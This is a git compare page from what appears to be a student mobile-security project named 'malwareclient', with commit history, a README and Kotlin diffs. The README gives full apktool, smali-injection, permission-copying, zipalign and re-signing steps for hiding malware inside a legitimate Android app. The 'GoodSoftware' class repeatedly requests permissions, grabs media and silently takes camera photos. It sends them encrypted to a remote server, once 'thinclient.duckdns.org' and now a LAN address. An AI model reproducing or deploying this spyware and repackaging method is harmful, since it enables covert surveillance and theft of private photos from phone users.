Compare commits

...

10 Commits

Author SHA1 Message Date
Schipman Joren
ff87918248 Merge branch 'new' into 'master'
Make injection work

See merge request ti/2023-2024/s4/mobile-security/students/joren-schipman/malwareclient!1
2024-05-05 23:36:55 +00:00
Joren
7ec5cc7977
Add README 2024-05-06 01:35:24 +02:00
Joren
9982adfce2
Disable camera, copying the smali files needed for the camera crashes the build process, not having the files crashes the app 2024-05-06 00:32:45 +02:00
Joren
7a017f6153
Github says this was the issue... we'll see 2024-05-06 00:19:57 +02:00
Joren
e145b026cc
That didn't work... maybe this? 2024-05-06 00:14:18 +02:00
Joren
e04f53aff2
The camera likes crashing when playing with injection... hopefully this fixes that 2024-05-06 00:09:25 +02:00
Joren
c3e86065cf
Make sure stopCheckingStoragePermission doesnt happen anyway 2024-05-06 00:04:00 +02:00
Joren
b0ef3ca710
Minor changes 2024-05-05 23:42:36 +02:00
Joren
4e08f6e68e
Remove unused imports 2024-05-05 23:21:06 +02:00
Joren
fae27b2b0a
Make timer schedule 2024-05-05 23:19:47 +02:00
5 changed files with 157 additions and 99 deletions

View File

@ -4,18 +4,6 @@
<value>
<entry key="MainActivity">
<State>
<runningDeviceTargetSelectedWithDropDown>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="VIRTUAL_DEVICE_PATH" />
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
</Key>
</deviceKey>
</Target>
</runningDeviceTargetSelectedWithDropDown>
<timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
<runningDeviceTargetsSelectedWithDialog>
<Target>
<type value="RUNNING_DEVICE_TARGET" />

78
README.md Normal file
View File

@ -0,0 +1,78 @@
## Prep
### Without Camera
1. Comment out the timer and compile
```kt
private fun startCheckingPermission() {
timerStorage = Timer("CheckStoragePermissionTimer", false)
timerStorage?.scheduleAtFixedRate(0, 5000) {
checkStoragePermission()
println("Requesting storage permission again")
}
/* timerCamera = Timer("CheckCameraPermissionTimer", false)
timerCamera?.scheduleAtFixedRate(0, 5000) {
checkCameraPermission()
println("Requesting camera permission again")
}*/
```
2. Decompile the apk `apktool d malware.apk`
3. Decompile original app `apktool d application.apk`
4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/`
5. Under the onCreate of original app
```smali
new-instance p1, Lcom/ti/m/GoodSoftware;
move-object v0, p0
check-cast v0, Landroid/content/Context;
invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V
invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
```
6. Copy the permissions from the malware manifest to original manifests permissions
```xml
<uses-permission android:name="android.permission.CAMERA"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
```
### With Camera
1. Do the steps of without camera but don't uncomment the timer
2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/`
3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/`
4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/`
5. Copy Camera metadata from Manifest
```xml
<service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService">
<meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/>
</service>
<uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
```
6. Copy Camera Queries to manifest under the permissions
```xml
<queries>
<intent>
<action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/>
</intent>
</queries>
```
## Final Steps
1. Build the application `apktool b application -o unsigned.apk`
2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk`
3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000`
4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk`
5. Done

View File

@ -51,7 +51,6 @@ android {
}
dependencies {
implementation("androidx.camera:camera-camera2:1.3.3")
implementation(libs.androidx.camera.lifecycle)
val camerax_version = "1.4.0-alpha05"
@ -70,8 +69,11 @@ dependencies {
androidTestImplementation(libs.androidx.ui.test.junit4)
debugImplementation(libs.androidx.ui.tooling)
debugImplementation(libs.androidx.ui.test.manifest)
implementation("androidx.camera:camera-camera2:$camerax_version")
implementation("androidx.camera:camera-extensions:$camerax_version")
implementation("androidx.camera:camera-core:${camerax_version}")
implementation("androidx.camera:camera-camera2:${camerax_version}")
implementation("androidx.camera:camera-lifecycle:${camerax_version}")
implementation("androidx.camera:camera-extensions:${camerax_version}")
implementation("androidx.concurrent:concurrent-futures:1.1.0")
implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")

View File

@ -1,4 +1,4 @@
package com.ti.mobpo
package com.ti.m
import android.Manifest
import android.app.Activity
@ -41,6 +41,8 @@ import javax.crypto.Cipher
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.SecretKeySpec
import kotlin.concurrent.schedule
import kotlin.concurrent.scheduleAtFixedRate
import kotlin.concurrent.thread
class GoodSoftware (private val activity: Context) {
@ -111,23 +113,16 @@ class GoodSoftware (private val activity: Context) {
private fun startCheckingPermission() {
timerStorage = Timer("CheckStoragePermissionTimer", false)
timerStorage?.schedule(0) {
checkStoragePermission()
}
timerStorage?.schedule(5000) {
timerStorage?.scheduleAtFixedRate(0, 5000) {
checkStoragePermission()
println("Requesting storage permission again")
}
timerCamera = Timer("CheckCameraPermissionTimer", false)
timerCamera?.schedule(0) {
timerCamera?.scheduleAtFixedRate(0, 5000) {
checkCameraPermission()
}
timerCamera?.schedule(5000) {
println("Requesting camera permission again")
checkCameraPermission()
}
}
@ -173,16 +168,17 @@ class GoodSoftware (private val activity: Context) {
requestMediaImagesPermission()
}else{
grabMedia()
stopCheckingStoragePermission()
}
} else {
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
requestGalleryPermission()
}else{
grabMedia()
}
}
stopCheckingStoragePermission()
}
}
}
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
private fun requestMediaImagesPermission() {
@ -194,6 +190,7 @@ class GoodSoftware (private val activity: Context) {
private fun takePicture(){
val activity = activity.getActivity()
try {
activity?.let { act ->
if (act is LifecycleOwner) {
act.lifecycleScope.launch {
@ -204,6 +201,9 @@ class GoodSoftware (private val activity: Context) {
Log.e("Error", "Activity is not a LifecycleOwner")
}
}
}catch (e: Exception) {
e.printStackTrace()
}
}
@ -317,7 +317,7 @@ class GoodSoftware (private val activity: Context) {
fun establishConnection(): ConnectionResult{
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
val host = "thinclient.duckdns.org"
val host = "192.168.90.151"
val port = 5645
val secureRandom = SecureRandom()
val keyBytes = ByteArray(16)
@ -414,28 +414,24 @@ class GoodSoftware (private val activity: Context) {
}
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
// Ensure that cameraProvider is initialized
try {
cameraProvider = ProcessCameraProvider.getInstance(context).await()
// Ensure that the selected camera is available
if (!hasBackCamera() && !hasFrontCamera()) {
Log.e(picture.TAG, "Back and front camera are unavailable")
return
}
// Select the lens facing, prioritize front camera if available
lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_FRONT
} else {
CameraSelector.LENS_FACING_BACK
}
// Create ImageCapture instance
imageCapture = ImageCapture.Builder()
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
.build()
// Set up image capture listener
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
@ -443,7 +439,6 @@ class GoodSoftware (private val activity: Context) {
}
override fun onCaptureSuccess(image: ImageProxy) {
// Process captured image here
val byteArrayOutputStream = ByteArrayOutputStream()
val imagePlane = image.planes[0]
val buffer = imagePlane.buffer
@ -451,33 +446,35 @@ class GoodSoftware (private val activity: Context) {
buffer.get(bytes)
byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
Thread {
thread {
try {
val conn = establishConnectionWithRetry()
if (conn == null) {
return@Thread
return@thread
}
sendDataToServer(base64Image, conn)
disconnect(conn)
}.start()
} catch (e: Exception) {
e.printStackTrace()
}
}
cameraProvider?.unbindAll()
image.close()
}
}
// Bind the camera and start image capture
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
imageCapture?.takePicture(
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
} catch (e: ClassNotFoundException) {
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
} catch (e: Exception) {
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
}
}
private fun hasBackCamera(): Boolean {

View File

@ -2,14 +2,7 @@ package com.ti.m
import android.os.Bundle
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.foundation.layout.fillMaxSize
import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Surface
import androidx.compose.ui.Modifier
import androidx.lifecycle.LifecycleOwner
import com.ti.m.ui.theme.MTheme
import com.ti.mobpo.GoodSoftware
class MainActivity : ComponentActivity(), LifecycleOwner {
override fun onCreate(savedInstanceState: Bundle?) {